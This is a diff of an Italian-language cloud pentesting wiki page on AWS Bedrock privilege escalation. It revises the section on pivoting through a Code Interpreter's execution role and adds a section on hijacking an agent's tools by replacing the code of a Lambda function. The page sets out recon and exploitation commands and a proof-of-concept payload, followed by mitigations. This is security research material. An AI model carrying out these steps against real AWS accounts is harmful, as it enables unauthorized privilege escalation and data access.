diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 62e0f7f2d..892df3458 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter è un ambiente di esecuzione gestito. **Custom Code Interpreters** possono essere configurati con un **`executionRoleArn`** che “fornisce permessi al code interpreter per accedere ai servizi AWS”. +AgentCore Code Interpreter è un ambiente di esecuzione gestito. I **Custom Code Interpreters** possono essere configurati con un **`executionRoleArn`** che “fornisce permessi al code interpreter per accedere ai servizi AWS”. -Se un **IAM principal con privilegi inferiori** può **start + invoke** una sessione di Code Interpreter configurata con un **execution role** più privilegiato, il chiamante può effettivamente **pivot into the execution role’s permissions** (lateral movement / privilege escalation a seconda dell'ambito del ruolo). +Se un **principal IAM con privilegi inferiori** può **avviare + invocare** una sessione Code Interpreter configurata con un **execution role con privilegi più elevati**, il chiamante può di fatto **pivotare nei permessi dell'execution role** (lateral movement / privilege escalation a seconda dell'ambito del ruolo). > [!NOTE] -> Questo è tipicamente un problema di **misconfiguration / excessive permissions** (concessione di permessi estesi all'execution role dell'interprete e/o concessione di ampio accesso invoke). -> AWS avverte esplicitamente di evitare privilege escalation assicurandosi che gli execution role abbiano **permessi pari o inferiori** rispetto alle identità autorizzate a invoke. +> Questo è tipicamente un problema di **misconfiguration / excessive permissions** (assegnare permessi troppo ampi all'execution role dell'interpreter e/o concedere un accesso invoke troppo ampio). +> AWS avverte esplicitamente di evitare privilege escalation assicurando che gli execution role abbiano privilegi **uguali o inferiori** rispetto alle identità autorizzate a invocare. -#### Precondizioni (misconfigurazione comune) +#### Preconditions (common misconfiguration) -- Esiste un **custom code interpreter** con un **execution role** eccessivamente privilegiato (es: accesso a S3/Secrets/SSM sensibili o capacità simili a IAM-admin). -- Un utente (developer/auditor/CI identity) ha i permessi per: - - avviare sessioni: `bedrock-agentcore:StartCodeInterpreterSession` - - invocare strumenti: `bedrock-agentcore:InvokeCodeInterpreter` -- (Opzionale) L'utente può anche creare interpreter: `bedrock-agentcore:CreateCodeInterpreter` (gli permette di creare un nuovo interpreter configurato con un execution role, a seconda delle guardrail organizzative). +- Esiste un **custom code interpreter** con un **execution role** con privilegi eccessivi (es: accesso a S3/Secrets/SSM sensibili o capacità simili a IAM-admin). +- Un utente (developer/auditor/identità CI) ha i permessi per: +- avviare sessioni: `bedrock-agentcore:StartCodeInterpreterSession` +- invocare tools: `bedrock-agentcore:InvokeCodeInterpreter` +- (Optional) L'utente può anche creare interpreters: `bedrock-agentcore:CreateCodeInterpreter` (gli consente di creare un nuovo interpreter configurato con un execution role, a seconda dei guardrail dell'organizzazione). #### Recon (identify custom interpreters and execution role usage) -Elencare gli interpreters (control-plane) e ispezionarne la configurazione: +Elenca gli interpreters (control-plane) e ispeziona la loro configurazione: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id -```` +``` > Il comando create-code-interpreter supporta `--execution-role-arn` che definisce quali permessi AWS avrà l'interpreter. -#### Passo 1 - Avvia una sessione (questo restituisce un `sessionId`, non una shell interattiva) +#### Step 1 - Start a session (this returns a `sessionId`, not an interactive shell) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### Passo 2 - Invocare l'esecuzione del codice (Boto3 o signed HTTPS) +#### Step 2 - Invoke code execution (Boto3 or signed HTTPS) -Non esiste una **interactive python shell** da `start-code-interpreter-session`. L'esecuzione avviene tramite **InvokeCodeInterpreter**. +Non c’è **nessuna shell python interattiva** da `start-code-interpreter-session`. L’esecuzione avviene tramite **InvokeCodeInterpreter**. -**Opzione A - Esempio Boto3 (eseguire Python + verificare l'identità):** +**Opzione A - Esempio Boto3 (esegui Python + verifica identità):** ```python import boto3 @@ -68,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Se l'interprete è configurato con un ruolo di esecuzione, l'output di `sts:GetCallerIdentity()` dovrebbe riflettere l'identità di quel ruolo (non del chiamante con privilegi ridotti), dimostrando il pivot. +Se l'interpreter è configurato con un execution role, l'output di `sts:GetCallerIdentity()` dovrebbe riflettere l'identità di quel role (non quella del low-priv caller), dimostrando il pivot. -**Opzione B - chiamata HTTPS firmata (awscurl):** +**Option B - Signed HTTPS call (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -89,18 +89,86 @@ awscurl -X POST \ ``` #### Impatto -* **Lateral movement** verso qualsiasi accesso AWS di cui dispone il ruolo di esecuzione dell'interprete. -* **Privilege escalation** se il ruolo di esecuzione dell'interprete ha privilegi superiori rispetto al chiamante. -* Rilevamento più difficile se i CloudTrail data events per le invocazioni dell'interprete non sono abilitati (le invocazioni potrebbero non essere registrate di default, a seconda della configurazione). +* **Lateral movement** verso qualunque accesso AWS che il ruolo di esecuzione dell'interpreter ha. +* **Privilege escalation** se il ruolo di esecuzione dell'interpreter è più privilegiato del chiamante. +* Rilevamento più difficile se gli eventi dati di CloudTrail per le invocazioni dell'interpreter non sono abilitati (le invocazioni potrebbero non essere registrate di default, a seconda della configurazione). -#### Mitigazioni / Hardening +#### Mitigations / Hardening -* **Least privilege** sul `executionRoleArn` dell'interprete (trattalo come i ruoli di esecuzione Lambda / i ruoli CI). -* **Restringere chi può invocare** (`bedrock-agentcore:InvokeCodeInterpreter`) e chi può avviare sessioni. -* Usare **SCPs** per negare InvokeCodeInterpreter eccetto per ruoli runtime agent approvati (potrebbe essere necessaria l'applicazione a livello di organizzazione). -* Abilitare gli appropriati **CloudTrail data events** per AgentCore dove applicabile; generare alert su invocazioni inaspettate e sulla creazione di sessioni. +* **Least privilege** sul `executionRoleArn` dell'interpreter (trattalo come i ruoli di esecuzione Lambda / ruoli CI). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) e chi può avviare sessioni. +* Usa **SCPs** per negare InvokeCodeInterpreter tranne che per i ruoli runtime degli agent approvati (l'enforcement a livello di org può essere necessario). +* Abilita gli appropriati **CloudTrail data events** per AgentCore dove applicabile; genera alert su invocazioni e creazione di sessioni inattese. -## Riferimenti +## Amazon Bedrock Agents + +### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda + +Bedrock Agents può usare **Lambda-backed action groups** come tool (esecuzione esterna). Se un principal può **modificare il codice di una funzione Lambda usata da un agent**, e poi può **invocare l'agent**, può eseguire codice controllato dall'attaccante sotto il **ruolo di esecuzione Lambda**. + +> [!NOTE] +> Questo è un **cross-service trust abuse** (Bedrock → Lambda), non una vulnerability. L'attaccante potrebbe non essere in grado di invocare Lambda direttamente, ma può comunque attivarlo tramite l'agent. + +#### Preconditions (common misconfiguration) + +- Esiste un Bedrock Agent con un **action group supportato da una funzione Lambda** +- L'attaccante ha: +- `lambda:UpdateFunctionCode` +- `bedrock:InvokeAgent` +- Il ruolo di esecuzione Lambda ha permessi più ampi dell'attaccante +- L'attaccante può identificare la Lambda usata dall'agent + +#### Recon + +Enumerate agent action groups: +```bash +aws bedrock-agent list-agents +aws bedrock-agent get-agent --agent-id +aws bedrock-agent list-agent-action-groups --agent-id --agent-version DRAFT +``` +Ispeziona Lambda: +```bash +aws lambda get-function --function-name +``` +#### Exploitation + +Sostituisci il codice Lambda: +```bash +zip payload.zip lambda_function.py + +aws lambda update-function-code \ +--function-name \ +--zip-file fileb://payload.zip +``` +Esempio di payload: +```python +import boto3 + +def lambda_handler(event, context): +return boto3.client("sts").get_caller_identity() +``` +Trigger via agent: +```bash +aws bedrock-agent-runtime invoke-agent \ +--agent-id \ +--agent-alias-id \ +--session-id test \ +--input-text "trigger tool" +``` +#### Impatto + +* **Privilege escalation** nella Lambda execution role +* **Data exfiltration** dai servizi AWS +* **Cross-service abuse** tramite esecuzione di agent fidati + +#### Mitigazioni + +* **Restrict** `lambda:UpdateFunctionCode` +* Usa ruoli Lambda con **least-privilege** +* **Monitor** le modifiche al codice Lambda +* **Audit** l'uso dei tool dell'agent Bedrock + +## References - [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) - [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) @@ -108,6 +176,7 @@ awscurl -X POST \ - [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html) - [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html) - [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html) +- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors) {{#include ../../../../banners/hacktricks-training.md}}